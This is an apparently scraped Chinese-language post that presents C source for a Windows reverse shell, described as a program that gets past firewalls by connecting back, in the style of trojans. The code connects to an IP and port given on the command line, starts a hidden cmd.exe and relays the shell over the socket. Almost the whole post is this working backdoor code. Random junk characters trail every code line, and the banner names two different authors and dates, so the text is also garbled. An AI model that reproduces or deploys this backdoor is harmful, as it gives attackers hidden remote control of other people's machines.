这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l#_(suo64
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/* ============================== c_e2'K:
Rebound port in Windows NT B'OUT2cgB
By wind,2006/7 tO$/|B74Bz
===============================*/ RG9YA&1ce
#include 0yhC_mI
#include N|OI~boV%
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#pragma comment(lib,"wsock32.lib") G'oMZb ({=
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void OutputShell(); B 3Y,|*
SOCKET sClient; ?32gug\i'}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iX]Vkx
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void main(int argc,char **argv) "&s9;_9
{ nCZ&FNi{O~
WSADATA stWsaData; 5G"DgG*<
int nRet; u:Fa1 !4JR
SOCKADDR_IN stSaiClient,stSaiServer; E)l0`83~^
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if(argc != 3) zrqQcnx9(m
{ M<R3Jz T
printf("Useage:\n\rRebound DestIP DestPort\n"); _yi`relcq-
return; h\#\hx
} Y[l*>}:w
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WSAStartup(MAKEWORD(2,2),&stWsaData); 038|>l-9[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kcg{z8cd'r
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stSaiClient.sin_family = AF_INET; j\kT
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stSaiClient.sin_port = htons(0); 04`2MNfxG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \':'8:E
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) R_IUuz$e
{ ,@mr})s
printf("Bind Socket Failed!\n"); ?RyeZKf
return; &M p??{g
} v]UT1d=_T
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stSaiServer.sin_family = AF_INET; \$.8iTr@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); V2As 5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fhGI
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {z~n`ow
{ AgEX,SPP
printf("Connect Error!"); Y.XNA]|
return;
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} Hd*e9;z
OutputShell(); 5G$N
} (X=JT
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void OutputShell() z l?Gd4
{ hk6(y?#
char szBuff[1024]; a8D7n Ea
SECURITY_ATTRIBUTES stSecurityAttributes; :w|ef;
OSVERSIONINFO stOsversionInfo; [Dr'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BvQMq5&
STARTUPINFO stStartupInfo; 1b^e4
char *szShell; rC`pTN
PROCESS_INFORMATION stProcessInformation; CD}::7$
unsigned long lBytesRead; 6_Ps*Ed
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &8p]yo2zO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hkS0 ae
stSecurityAttributes.lpSecurityDescriptor = 0; bTBV:]w
stSecurityAttributes.bInheritHandle = TRUE; H7{)"P]{f
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lZ5LHUzP
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f4%Z~3P
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /g/]Q^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WC&V9Yk
stStartupInfo.wShowWindow = SW_HIDE; +2:\oy}!8
stStartupInfo.hStdInput = hReadPipe; 'e&L53n
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p.wed%O.
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GetVersionEx(&stOsversionInfo); b+=@;0p*6B
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switch(stOsversionInfo.dwPlatformId) O*Gg57a
{ O`?qnNmc;
case 1: (,nQ7,2EX
szShell = "command.com"; k4N_Pa$}\
break; E?v9c>c
default: ,>
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szShell = "cmd.exe"; zR@4Z>6
break; azhilUD8
} v11Uw?CM
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >X@4wP7l
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send(sClient,szMsg,77,0); hFMJDGCw>Q
while(1) u-s*3Lg&
{ k|hy_? *
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ys/U.e|)!
if(lBytesRead) 7%j1=V/
{ 1U)U {i7j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h(~@
nd{
send(sClient,szBuff,lBytesRead,0); wH?]kV8Q
} aB_~Vh
else 2ezk<R5q+
{ nYsB^Nr6
lBytesRead=recv(sClient,szBuff,1024,0); /Fr*k5I
if(lBytesRead<=0) break; Ez1-Nx
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ylGT9G19
} I K9plsd*
} j.]ln}b/'+
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return; t6q7w
}